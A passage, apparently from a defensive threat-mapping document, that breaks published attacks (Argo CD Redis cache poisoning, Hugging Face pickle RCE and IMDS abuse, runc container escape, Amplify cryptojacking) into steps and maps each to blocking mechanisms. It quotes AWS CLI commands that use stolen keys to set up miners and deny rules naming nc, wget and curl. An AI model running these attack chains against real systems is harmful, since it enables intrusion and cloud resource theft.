  • BR-43: System Logging - Logs the execution of the cryptominer process.
  • BR-87: Process Socket Deny - Can prevent the cryptominer from communicating with its mining pool if the process is not allowed network access.
  • BR-90: Process Exec Deny - Could block the miner if its name/path matches a deny rule.
• The use of GPU mining flags and cloud-specific usernames indicates a shift in targeting towards more powerful servers, including those in cloud-native environments, rather than solely traditional low-power IoT devices. (Cited from: "supports our claim that this variant differs from previous ones. It is aimed at targeting cloud-native environments with strong CPU and GPU capabilities")

F1: Exploitation of CVE-2024-31989 by manipulating Argo CD's Redis cache to deploy a privileged pod and gain host access, assuming default insecure Redis configuration.

• Attacker gains initial access to a low-privilege pod within the Kubernetes cluster where Argo CD is deployed. (Cited from: "we created a low-privilege pod in another namespace, simulating a compromised pod within the cluster. It could potentially be a webshell, a malicious package, or any other low-access point to the cluster.")
• Attacker verifies if Argo CD's Redis instance is accessible, potentially checking for the default lack of password protection and the absence or misconfiguration of network policies intended to restrict access. (Cited from: "Redis caching server, which, by default, lacks password protection and can be accessed by any pod within the cluster if proper network policies are not in place.", "Verify that the Network Policy rule named 'argocd-redis-network-policy' is present and enabled")
• From the compromised pod, the attacker resolves the Argo CD Redis service address (e.g., using kube-DNS) and connects to it on port 6379. (Cited from: "We resolved the Redis server's address using the local kube-DNS server and attempted to connect to it on port 6379. Surprisingly, it worked! Knowing that the Redis server doesn't require a password by default...")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the compromised pod's process (e.g., shell, script, custom tool) from initiating outgoing network connections to the Redis server if a policy denies socket operations for that specific process name or path.
• Attacker identifies keys storing cached application manifests within Redis, potentially using Redis commands or observing traffic (like the researchers using the profiler). The content is found to be compressed (gzip). (Cited from: "We found many keys that seem to reflect data about our deployed application.", "When we tried to view their content, it appeared compressed, likely in gzip format.", "We utilized Redis’s profiler to analyze the server’s events as we observed that the Application Controller pod is accessing a key named ‘mfst|app.kubernetes.io/instance|myapp|42…|1.8.3.gz’.")
  • BR-87: Process Socket Deny - This mechanism is applicable because the process used to interact with Redis (e.g., redis-cli, a script) requires network socket access. If this process is denied socket operations by policy, the attacker cannot list or observe keys.
• Attacker develops or uses a tool to decompress the gzip data to read the cached manifest content. (Cited from: "Using the Argo CD source code as a reference, we developed a Go program to decompress the gzipped contents and uncover their values.")
• Attacker crafts a malicious Kubernetes manifest (e.g., deploying a privileged pod using configurations like those from the BadPods project) designed to escalate privileges or gain host access. (Cited from: "As a proof of concept, we deployed a privileged pod using a configuration from BadPods project on GitHub.")
• Attacker modifies the target manifest data within the identified Redis key, replacing the legitimate manifest content with their malicious version.
  • BR-87: Process Socket Deny - This mechanism is applicable because writing the modified data back to Redis requires network socket access. If the process performing the write is denied socket operations, this step fails.
• Attacker observes that the Argo CD Repo Server initially reverts the change because the cacheEntryHash no longer matches the content. (Cited from: "However, once we changed the manifest, the Argo CD Repo Server quickly reverted the change, restoring the original value.", "Upon re-examining the manifest... we noticed the 'cacheEntryHash' key...")
  • BR-87: Process Socket Deny - This mechanism is applicable because observing the revert likely involves reading from Redis again. If the process performing the read is denied socket operations, this observation might fail or be delayed.
• Attacker replicates Argo CD's hashing algorithm (fnv64a) to calculate the correct cacheEntryHash for the manipulated manifest data. (Cited from: "According to the source code, this hash is intended to validate the manifest. However, it is generated without any private secret signing it.", "We developed a program to replicate the fnv64a hashing algorithm in order to regenerate the checksum hash for our manipulated manifest.")
• Attacker updates both the manifest content and its corresponding cacheEntryHash value in Redis. (Cited from: "Afterward, the modification to the manifest in Redis was successful.")
  • BR-87: Process Socket Deny - This mechanism is applicable because writing both the manifest and the hash to Redis requires network socket access. If the process performing the write is denied socket operations, this step fails.
• The Argo CD Application Controller reads the manipulated manifest and hash from Redis, accepts it as a valid cache entry, detects the application is 'out of sync' with this desired (malicious) state, and applies the changes to the Kubernetes cluster. (Cited from: "This breach leads Argo CD Server to accept the altered manifest as a valid cache entry, unintentionally triggering an unauthorized update to the cluster’s state.", "During the next state validation by the Application Controller, it detected that it was ‘out of sync’ and deployed our changes to the Kubernetes application.")
• The attacker's malicious pod (e.g., privileged, mounting host filesystem) is deployed to the cluster. (Cited from: "By exploiting this flaw, attackers can change the application manifest to deploy malicious pods with high privileges...", "The newly deployed pod possesses elevated capabilities. It also mounts the host node’s filesystem to our pod.")
  • BR-47: Container Capability Control - This mechanism is applicable because it allows defining an allowlist of capabilities for containers, overriding requests in the manifest. If the malicious pod requests excessive capabilities (e.g., SYS_ADMIN, CAPNETADMIN) not permitted by the BR-47 policy, the pod creation or functionality will be restricted, preventing the intended privilege escalation.
  • BR-67: Container Root User Control - This mechanism is applicable because it detects and prevents processes (other than the container's init process) from running as root within the container. If the attacker's pod attempts to run subsequent processes as root, BR-67 can block these actions.
  • BR-66: Host FS Mount Control - This mechanism is applicable because it enforces an allowlist for host filesystem paths that can be mounted into containers. If the malicious manifest specifies mounting sensitive host directories (like /, /etc, /root, /var/run/docker.sock) that are not on the BR-66 allowlist, the mount operation during pod initialization will fail, hindering host access.
  • BR-57: Cluster Drift Protection - While Argo CD uses the K8s API, this mechanism aims to prevent unauthorized pod deployments. In this case, the deployment is authorized by Argo CD, albeit based on manipulated data. So, BR-57 is less directly applicable to preventing this specific deployment step but is relevant to the overall goal of controlling pod creation.
  • BR-61: Container Runtime Socket Protection - This mechanism is applicable if the attacker's ultimate goal after compromising the pod involves directly interacting with the container runtime socket (e.g., containerd.sock) from an unauthorized process lineage (not kubelet). It wouldn't prevent the initial deployment by Argo CD but could block subsequent container escape/manipulation attempts via the runtime socket.
  • BR-78: Host Setuid File Protection - This mechanism is applicable if the deployed pod, having mounted the host filesystem, attempts to write to a setuid file owned by the host root (e.g., to modify sudo for persistence). BR-78 would block such write attempts.
• Attacker uses the privileged access granted by the malicious pod to achieve objectives like executing code on the host node (e.g., adding their SSH key to authorized_keys). (Cited from: "execute code on the host node", "We decided to add our public SSH key to the node’s authorized keys, which allows us to connect to the node with an SSH shell.")
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the attacker, having gained execution within the malicious pod or on the host, attempts to establish an interactive command and control channel by binding a shell's standard input/output/error streams to a network socket. BR-55 detects and blocks this specific behavior.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the attacker downloads or creates tools/scripts on the host node (e.g., in /tmp or /var/tmp) and attempts to execute them, BR-88 will block the execution if the path is not in the configured allowlist (e.g., /bin, /usr/bin).
  • BR-90: Process Exec Deny - This mechanism is applicable because if the attacker attempts to execute common network or recon tools like nc, wget, or curl (from any path ending in /nc, /wget, /curl by default), BR-90 will block their execution.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable because if the attacker introduces new executable files onto the host filesystem (not via a trusted package manager) and attempts to run them, BR-62 will detect this drift from the baseline and block execution.
  • BR-65: Container Host Drift Prevention - This mechanism is applicable similarly to BR-62, focusing on ensuring only allow-listed privileged containers or host processes can execute new/modified host files added post-boot.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the attacker attempts to execute a binary or script inside the malicious container that was not part of its original image. BR-54 maintains a manifest of original executables and blocks execution of any new ones.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the attacker attempts to write to critical host directories defined in policy (e.g., modifying system configurations, adding persistent services). Adding an SSH key to /root/.ssh/authorized_keys could be blocked if /root/.ssh is protected.
  • BR-91: Sensitive File Access - This mechanism is applicable because it monitors and can block access attempts to predefined sensitive files or patterns. Accessing or modifying /root/.ssh/authorized_keys or /etc/shadow would trigger this protection if configured.
  • BR-86: PTrace Protection - This mechanism is applicable if the attacker uses the ptrace system call for process injection, memory inspection/tampering, or debugging security tools as part of their post-exploitation activity on the host.
  • BR-53: SSH Deep Auth & SSH Least Privilege - While not blocking the key addition directly, if the cluster uses BR-53 for SSH authentication, simply adding a key to authorized_keys might not grant the expected level of access if ephemeral certificates and IdP tokens are required for login, thus mitigating the impact.
• The attacker can potentially remove evidence of the attack, possibly by manipulating the Redis cache again or using their host access. (Cited from: "Moreover, the attack allows for the removal of all evidence.")
  • BR-75: Critical Directory Write Protection - This mechanism is applicable because it can prevent the attacker from deleting or modifying log files located within critical directories defined in the policy.
  • BR-91: Sensitive File Access - This mechanism is applicable because it can block attempts to read or write to specific log files (like /var/log/auth.log, audit logs) if they are configured as sensitive.
  • BR-88: Process Path Exec Allow / BR-90: Process Exec Deny - These mechanisms are applicable if the attacker uses specific tools or scripts (e.g., custom log wiping tools, standard utilities like shred or rm) to remove evidence. Execution could be blocked if the tool is run from a disallowed path (BR-88) or if the executable name itself is denied (BR-90).

​

F2: Accessing potentially sensitive information (including Kubernetes Secrets) stored in Argo CD's Redis cache due to insecure defaults.

• Attacker gains initial access to a low-privilege pod within the Kubernetes cluster where Argo CD is deployed. (Cited from: "we created a low-privilege pod in another namespace, simulating a compromised pod within the cluster...")
• Attacker connects to the Argo CD Redis server, exploiting the default lack of password and potentially missing NetworkPolicies. (Cited from: "Redis caching server, which, by default, lacks password protection and can be accessed by any pod within the cluster if proper network policies are not in place.", "We resolved the Redis server's address... and attempted to connect to it... Surprisingly, it worked!")
  • BR-87: Process Socket Deny - This mechanism is applicable because it can prevent the compromised pod's process from initiating the network connection to the Redis server if that process is on the deny list for socket operations.
• Attacker understands that secrets might be present in the Redis cache, either because users committed manifests containing secrets or because Argo CD plugins generated manifests with secrets. (Cited from: "We also observed an interesting Secret Management page on the documentation website, stating the following: ... There are two possibilities where secrets can end up in the cache: Users commit manifests with secrets or Argo CD Admins configure plugins to generate manifests with secrets.")
• Attacker lists keys in Redis and identifies keys likely containing application manifests or related cached data. (Cited from: "We found many keys that seem to reflect data about our deployed application.")
  • BR-87: Process Socket Deny - This mechanism is applicable because listing keys requires network communication with Redis. If the process used (e.g., redis-cli) is denied socket access, this step fails.
• Attacker retrieves the content of these keys, noting it is compressed (gzip). (Cited from: "When we tried to view their content, it appeared compressed, likely in gzip format.")
  • BR-87: Process Socket Deny - This mechanism is applicable because retrieving key content requires network communication. If the process used is denied socket access, this step fails.
• Attacker uses a tool (like the researchers' Go program) to decompress the gzip data. (Cited from: "we developed a Go program to decompress the gzipped contents and uncover their values.")
• Attacker parses the decompressed data (cached manifests, etc.) and extracts any sensitive information found, such as Kubernetes Secrets, API keys, or other credentials. (Cited from: "This confirms that any pod in the cluster could potentially access the Redis server and secrets.", "access sensitive information, including Kubernetes Secrets.")
  • BR-41: Container Memory Namespace Isolation / BR-68: Spaces-based Strong Isolation - These mechanisms provide memory isolation between namespaces/processes. While they don't directly prevent accessing data over the network from Redis, they would prevent an attacker in one namespace from directly reading the memory of the Argo CD controller process or the Redis process in another namespace, limiting alternative paths to the same data.

F1: Gaining Remote Code Execution (RCE) in Hugging Face's Inference API via Malicious Pickle Model Upload.

• Attacker crafts a malicious AI model using the PyTorch (Pickle) format, embedding arbitrary code designed to execute upon deserialization. (Cited from: "A malicious pickle-serialized model could contain a remote code execution payload", "it is relatively straightforward to craft a PyTorch (Pickle) model that will execute arbitrary code upon loading", "cloned a legitimate model... modified it in a way that would run our reverse-shell upon loading")
• Attacker uploads the crafted malicious model to the Hugging Face platform, potentially as a private model. (Cited from: "uploading our own malicious model", "uploaded our hand-crafted model to Hugging Face as a private model")
• Attacker interacts with the uploaded model using the platform's Inference API feature (e.g., the model preview modal). (Cited from: "attempted to interact with it using the Inference API feature")
• Hugging Face's backend infrastructure loads the attacker's model to provide the inference service, triggering the deserialization of the Pickle file. (Cited from: "Hugging Face will dedicate resources... required for users to be able to interact with it", "upon loading")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it is designed to intercept the Python deserialization process (like Pickle) for objects originating from the network and apply policies to restrict potentially harmful actions, such as executing system-native binaries.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the Pickle deserialization likely leads to OS command execution attempts from within the Python process, which this mechanism monitors and blocks.
• The embedded malicious code within the Pickle file executes during deserialization, granting the attacker RCE within the Inference API environment. (Cited from: "achieve remote code execution upon deserialization", "voila, we got our reverse shell!")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because if the RCE payload involves writing a new executable binary or script to the container's filesystem and then executing it, this mechanism would block the execution as the file wasn't part of the original container image manifest.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the attack explicitly resulted in a reverse shell. BR-55 monitors shell processes and prevents their standard input/output/error streams from being bound to network sockets, thus blocking typical reverse shell implementations.
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it blocks the subsequent execution of OS commands by the deserialized Python object, preventing the RCE from achieving its goal.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because it blocks the Python process executing the deserialized code from making unauthorized OS command executions.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because if the RCE attempts to start new, unauthorized processes (beyond the initial Python process), NSJail policies enforced by this mechanism could block their creation.
  • BR-83: Syscall Deny Filter - This mechanism is applicable because a policy could be crafted to deny specific system calls (like execve, socket, connect) that the RCE payload relies on to establish the reverse shell or execute further commands.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism is applicable because it could detect if the RCE payload uses fileless techniques like executing scripts from memory-backed filesystems (e.g., /dev/shm) or piping downloaded content directly to a shell.
  • BR-87: Process Socket Deny - This mechanism is applicable because if the policy denies network socket operations for the Python process running the inference, the reverse shell connection attempt would be blocked.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because if the RCE payload attempts to execute a binary or script from a location not on the allowlist (e.g., /tmp, a user-writable directory), the execution would be blocked.
  • BR-90: Process Exec Deny - This mechanism is applicable because if the RCE attempts to execute a specifically denied binary (e.g., /bin/bash, /bin/sh, or tools like nc), the execution would be blocked.

​

F2: Escalating Privileges within the Hugging Face Inference API Kubernetes (EKS) Cluster by Abusing IMDS Access.

• Attacker, having achieved RCE within an Inference API pod (as per F1), explores the execution environment. (Cited from: "After executing code inside Hugging Face Inference API and receiving our reverse shell, we started exploring the environment")
• Attacker identifies the environment as a pod within a Kubernetes cluster hosted on Amazon EKS. (Cited from: "running inside a Pod in a Kubernetes cluster hosted on Amazon EKS")
• Attacker discovers that the pod can access the EC2 Instance Metadata Service (IMDS) endpoint at 169.254.169.254. (Cited from: "noticed that we could query the node’s IMDS (169.254.169.254) from within the pod")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it acts as a firewall specifically for the AWS IMDS endpoint, allowing policies to block or allow requests based on source and nature, potentially preventing the pod from reaching the IMDS endpoint at all.
• Attacker queries the IMDS to retrieve the IAM role credentials associated with the underlying EKS node. (Cited from: "obtain its identity", "obtain the role of a Node inside the EKS cluster")
  • BR-59: Cloud IMDS Firewall (AWS) - This mechanism is applicable because it intercepts requests to the IMDS and can enforce policies to block unauthorized attempts to retrieve credentials, mitigating the risk described in T1552.005.
• Attacker determines the IAM role has permissions for ec2:DescribeInstances. (Cited from: "noticed that our AWS role also had permissions to call DescribeInstances (a default configuration)")
• Attacker uses the DescribeInstances permission to query EC2 instance tags and identify the correct EKS cluster name. (Cited from: "revealed the name of the cluster via a tag attached to nodes’ compute")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the attacker needed to download and run the aws CLI or another tool not present in the original container image to perform this action.
  • BR-87: Process Socket Deny - This mechanism is applicable because the process making the DescribeInstances API call (e.g., aws CLI) requires network access. If this process is denied socket operations by policy, the call would fail.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the aws CLI or tool used is executed from a path not on the allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable if the aws CLI or specific tool used is explicitly denied execution.
• Attacker uses the retrieved node IAM credentials and the discovered cluster name with the aws eks get-token command to generate a Kubernetes API token associated with the node's privileges. (Cited from: "Using the aws eks get-token command and the IAM identity from the IMDS, we generated a valid Kubernetes token with the role of a Node.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the aws CLI executable was not part of the original container image and was introduced by the attacker.
  • BR-87: Process Socket Deny - This mechanism is applicable because the aws eks get-token command needs network access to communicate with the AWS EKS service. If the aws process is denied socket operations, this step fails.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the aws CLI is executed from a non-allowlisted path.
  • BR-90: Process Exec Deny - This mechanism is applicable if the aws CLI (or the specific eks get-token subcommand if granularity allows) is explicitly denied.
• Attacker uses the obtained node-level Kubernetes token to interact with the Kubernetes API, gaining elevated privileges within the cluster (e.g., listing pods, accessing secrets). (Cited from: "Now that we have the role of a node inside the Amazon EKS cluster, we have more privileges", "Listing all pods in the cluster with our new token", "obtaining secrets (using kubectl get secrets)")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the attacker uses a tool like kubectl that wasn't part of the original container image.
  • BR-87: Process Socket Deny - This mechanism is applicable because interacting with the Kubernetes API requires network connections. If the process making these calls (e.g., kubectl, or a script using K8s client libraries) is denied socket operations, this step fails.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if kubectl or another tool is executed from a non-allowlisted path.
  • BR-90: Process Exec Deny - This mechanism is applicable if kubectl or the specific tool used is explicitly denied execution.
• Attacker leverages access to Kubernetes secrets obtained via the node role for potential lateral movement or cross-tenant data access. (Cited from: "it was possible to perform lateral movement within the EKS cluster", "Secrets within shared environments may often lead to cross-tenant access")
  • BR-91: Sensitive File Access - This mechanism is applicable if the Kubernetes secrets are mounted as files within the pod (a common pattern) and these file paths are included in the sensitive file list. It could block or alert on the attempt to read these secret files.

​

F3: Gaining Remote Code Execution (RCE) during the build process in Hugging Face Spaces via a Malicious Dockerfile RUN Instruction.

• Attacker utilizes the Hugging Face Spaces service, which allows hosting applications defined by a user-provided Dockerfile. (Cited from: "Spaces is a different service in Hugging Face that allows users to host their AI-powered application", "all Hugging Face requires from the user in order to run their application... is a Dockerfile")
• Attacker crafts a Dockerfile containing malicious commands within one or more RUN instructions. (Cited from: "decided to use the RUN instruction instead of the CMD instruction, enabling us to execute code in the build process")
• Attacker submits this malicious Dockerfile to the Spaces service to trigger an application build.
• During the image building phase executed by Hugging Face's infrastructure, the RUN instructions containing the attacker's commands are executed. (Cited from: "execute code in the building process of our image")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the RUN instruction attempts to execute a binary or script that was not present in the base image layers used before this RUN step. Its effectiveness depends on how BR-54 establishes the baseline during image builds.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because if the commands within the RUN instruction spawn processes not permitted by the NSJail policy governing the build environment, their execution would be blocked.
  • BR-83: Syscall Deny Filter - This mechanism is applicable if the commands executed by RUN rely on syscalls that are explicitly denied by policy within the build environment.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if a command within the RUN instruction attempts to execute a program from a filesystem path not included in the build environment's allowlist.
  • BR-90: Process Exec Deny - This mechanism is applicable if a command within the RUN instruction attempts to execute a binary explicitly denied by policy (e.g., nc, wget).
• Attacker achieves code execution within the context of the build environment. (Cited from: "After executing code in the building process of our image")
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the code executed via the RUN instruction attempts to establish an interactive reverse shell from the build environment.
  • BR-85: Ephemeral Filesystem Behavior Analysis - This mechanism is applicable if the RCE achieved during the build process uses techniques like execution from memory-backed filesystems or piping downloads to shells.
  • BR-87: Process Socket Deny - This mechanism is applicable because if the process executing the RCE payload within the build environment is denied socket operations, any outbound network connection attempts (like C2 or reverse shell) would fail.

​

F4: Overwriting Container Images in a Shared Internal Registry via Network Access from the Hugging Face Spaces Build Environment.

• Attacker, having achieved RCE within the Spaces build environment (as per F3), investigates network activity. (Cited from: "After executing code in the building process of our image, we used the netstat command to examine network connections")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the netstat command or other network investigation tools were not part of the base image used for the build.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the network investigation tool is executed from a path not on the allowlist within the build environment.
  • BR-90: Process Exec Deny - This mechanism is applicable if netstat or other specific tools used are explicitly denied execution.
• Attacker identifies network connections to an internal container registry used to store image layers built by the service. (Cited from: "One connection was to an internal container registry to which our built layers were pushed.")
• Attacker determines that this registry is shared among multiple Hugging Face customers using the Spaces service. (Cited from: "this container registry did not serve only us; it also served more of Hugging Face’s customers.")
• Attacker discovers that due to insufficient access controls or scoping, their build environment has write access to the registry beyond their own images. (Cited from: "Due to insufficient scoping")
• Attacker gains the ability to pull and push (overwrite) arbitrary images stored within the shared internal container registry. (Cited from: "it was possible to pull and push (thus overwrite) all the images that were available on that container registry.")

F1: Exploitation of CVE-2024-21626 via a malicious Dockerfile during the container build process, leading to host compromise.

• Attacker crafts a malicious Dockerfile specifically designed to exploit CVE-2024-21626, focusing on manipulating the WORKDIR command. (Cited from: "building a container image using a malicious Dockerfile", "centered around the WORKDIR command", "CVE-2024-21626")
• The victim, or an automated system like a CI/CD pipeline, initiates a container build process using this malicious Dockerfile on a system with a vulnerable runc version. (Cited from: "building a container image using a malicious Dockerfile", "container build tools")
  • BR-61: Container Runtime Socket Protection - This mechanism (Available 2024 Dec) is applicable because it protects the container runtime socket (e.g., Docker daemon socket) which is used to initiate build processes. It can prevent unauthorized or malicious build requests from reaching a vulnerable runtime.
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it ensures only trusted code is executed on the host initiating the build, potentially preventing the execution of a malicious build tool or script that uses the malicious Dockerfile.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it ensures only allow-listed processes can execute new or modified files on the container host (where the build might occur), potentially preventing the build process itself if it's unauthorized or involves untrusted components.
• During the build, the vulnerable runc component improperly handles the WORKDIR instruction due to an order-of-operations flaw. (Cited from: "a vulnerability (CVE-2024-21626) that allows for an order-of-operations container breakout centered around the WORKDIR command")
• This flaw is exploited, resulting in a container escape, granting the attacker unauthorized access to the underlying host operating system where the build is executed. (Cited from: "Exploitation of this vulnerability can result in container escape to the underlying host operating system.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism (Current Mechanism for CVE-2024-21626) is applicable because it prevents unauthorized executables and scripts from running inside the container during the build or after the escape, hindering the attacker's ability to execute commands on the host via the escaped process.
  • BR-66: Host FS Mount Control - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it ensures only approved host file systems can be mounted or accessed, directly countering the escape vector which relies on gaining access to the host filesystem via manipulated paths.
  • BR-70: Back-Link Directory Traversal - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because the escape involves manipulating the working directory to point outside the container's intended filesystem boundaries, which is a form of path traversal this mechanism aims to prevent.
  • BR-47: Container Capability Control - This mechanism (Available 2024 Oct, also Current for CVE-2024-23653) is applicable because limiting container capabilities (e.g., CAPSYSADMIN) can restrict the actions a container process can perform even if it partially escapes or gains access to host resources, potentially preventing full host compromise or the specific actions needed to leverage the escape.
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized code on the host itself, limiting what the attacker can do immediately after the escape.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized code on the host, limiting post-escape actions.
• Once host access is gained, the attacker can potentially access sensitive data residing on the host system, such as credentials or customer information. (Cited from: "access whatever data was on the system, including sensitive data (credentials, customer info, etc.)")
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized discovery tools or scripts on the host that the attacker might use to find sensitive data.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized tools or scripts on the host used for data access or exfiltration.
• The attacker may leverage the compromised host to launch subsequent attacks against other systems or resources. (Cited from: "launch further attacks.")
  • BR-55: Reverse Shell Protection - This mechanism (Current Mechanism for CVE-2024-23653) is applicable because it can prevent the attacker from establishing outbound command-and-control channels (like reverse shells) from the compromised host.
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized attack tools or lateral movement scripts on the compromised host.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized attack tools or lateral movement scripts on the compromised host.

​

F2: Exploitation of CVE-2024-21626 by running a malicious container image, leading to host compromise.

• Attacker crafts or obtains a pre-built malicious container image designed to trigger the CVE-2024-21626 vulnerability upon execution, likely involving WORKDIR manipulation internally. (Cited from: "running a malicious image", "centered around the WORKDIR command", "CVE-2024-21626")
• The victim runs this malicious container image on a host system utilizing a vulnerable version of runc. (Cited from: "running a malicious image", "systems running container engines")
  • BR-61: Container Runtime Socket Protection - This mechanism (Available 2024 Dec) is applicable because it protects the container runtime socket used to start containers. It could potentially block requests to run untrusted or malicious images based on policy.
  • BR-47: Container Capability Control - This mechanism (Available 2024 Oct, also Current for CVE-2024-23653) is applicable because enforcing strict capability controls when running containers can limit the potential impact even if a malicious image is run, preventing it from gaining unnecessary privileges required for the escape.
• As the container starts or executes certain operations involving its working directory, the order-of-operations flaw in runc (CVE-2024-21626) is triggered. (Cited from: "a vulnerability (CVE-2024-21626) that allows for an order-of-operations container breakout centered around the WORKDIR command")
• The vulnerability exploitation leads to a container breakout, providing the attacker with unauthorized access to the host operating system running the container. (Cited from: "Exploitation of this vulnerability can result in container escape to the underlying host operating system.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism (Current Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized binaries or scripts dropped or executed by the malicious container after the escape.
  • BR-66: Host FS Mount Control - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it restricts access to the host filesystem, directly countering the escape mechanism that relies on accessing host paths.
  • BR-70: Back-Link Directory Traversal - This mechanism (Future Mechanism for CVE-2024-21626) is applicable as it prevents the path manipulation used to access the host filesystem.
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized code on the host itself, limiting what the attacker can do post-escape.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized code on the host, limiting post-escape actions.
  • BR-47: Container Capability Control - This mechanism (Available 2024 Oct, also Current for CVE-2024-23653) is applicable because limiting container capabilities can restrict the actions needed to successfully exploit the escape and gain meaningful access to the host.
• The attacker proceeds to access sensitive information available on the compromised host. (Cited from: "access whatever data was on the system, including sensitive data (credentials, customer info, etc.)")
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized discovery tools or scripts on the host.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized tools or scripts on the host used for data access.
• From the compromised host, the attacker may initiate further malicious activities or network attacks. (Cited from: "launch further attacks.")
  • BR-55: Reverse Shell Protection - This mechanism (Current Mechanism for CVE-2024-23653) is applicable because it can prevent the attacker from establishing outbound command-and-control channels.
  • BR-62: Linux/Host Drift Protection - This mechanism (Future Mechanism for CVE-2024-21626) is applicable because it prevents the execution of unauthorized attack tools or lateral movement scripts.
  • BR-65: Container Host Drift Prevention - This mechanism (Future Mechanism for CVE-2024-23651) is applicable because it prevents the execution of unauthorized attack tools or lateral movement scripts.

F1: Leveraging AWS Amplify and CodeCommit for cryptojacking by embedding miner execution within the application build process.

• Attacker obtains AWS credentials for a target account. (Implicit, required for aws configure)
• Attacker configures AWS CLI with stolen credentials (aws configure set awsaccesskey_id $ACCESS, aws configure set awssecretaccess_key $SECRET). (Cited from: "They set up the AWS credentials with the environment variables or by passing them when deploying the image.")
• Attacker creates an IAM role (AWSCodeCommit-Role) granting amplify.amazonaws.com the ability to assume the role (sts:AssumeRole). (Cited from: "The first script executed by the container, amplify-role.sh, creates the "AWSCodeCommit-Role" role.", "amplify-role.json")
• Attacker attaches policies granting full access for CodeCommit, CloudWatch, and Amplify (AWSCodeCommitFullAccess, CloudWatchFullAccess, AdministratorAccess-Amplify) to the AWSCodeCommit-Role. (Cited from: "Then, it attaches the full access policies of CodeCommit, CloudWatch, and Amplify to that role.")
• Attacker creates a CodeCommit repository (e.g., test) in multiple AWS regions. (Cited from: "The repo.sh script creates a CodeCommit repository named "test" in every region.")
• Attacker pushes malicious Amplify application source code, including a cryptominer (test binary, e.g., SRBMiner-MULTI packed with UPX) and execution scripts (index.py, start, time), to the CodeCommit repository. (Cited from: "it executes code.sh which pushes via Git the source code of an Amplify app to the remote repository.", "amplify-app directory present in code.sh includes the files needed to run their miners", "The "test" binary is a cryptominer, which was packed with UPX")
• Attacker creates multiple AWS Amplify apps (e.g., task1 to task5) in each region, configuring them to use the CodeCommit repository (--repository $REPO) and the previously created IAM role (--iam-service-role-arn $IAM). (Cited from: "The sup0.sh script creates five Amplify web apps from the previously created repositories.", "aws amplify create-app --name task$i --repository $REPO --iam-service-role-arn $IAM")
• Attacker embeds the miner execution command within the Amplify app's build specification (--build-spec), specifically in the build phase commands (python3 index.py, ./time). (Cited from: "--build-spec " version: 1 frontend: phases: build: commands: - python3 index.py artifacts: baseDirectory: / files: - '*/' "", "It runs the following start script, which executes the cryptominer:", "The other script they run in amplify.yml, named time, is used to make the build last as long as possible")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because the Amplify build process runs within a containerized environment. If the test miner binary or the index.py, start, time scripts were not part of the original build container image provided by AWS but were introduced (e.g., downloaded from CodeCommit) during the build phase, BR-54 would detect and block their execution.
  • BR-88: Process Path Exec Allow - This mechanism (Status: Idea) could apply if the execution paths for python3, ./start, or ./test within the Amplify build container are not on a predefined allow list. It intercepts exec() calls and blocks execution from disallowed locations.
  • BR-90: Process Exec Deny - This mechanism (Status: Idea) could apply if policies were created to specifically deny execution of interpreters like python3 in this context or common miner binary names if identifiable.
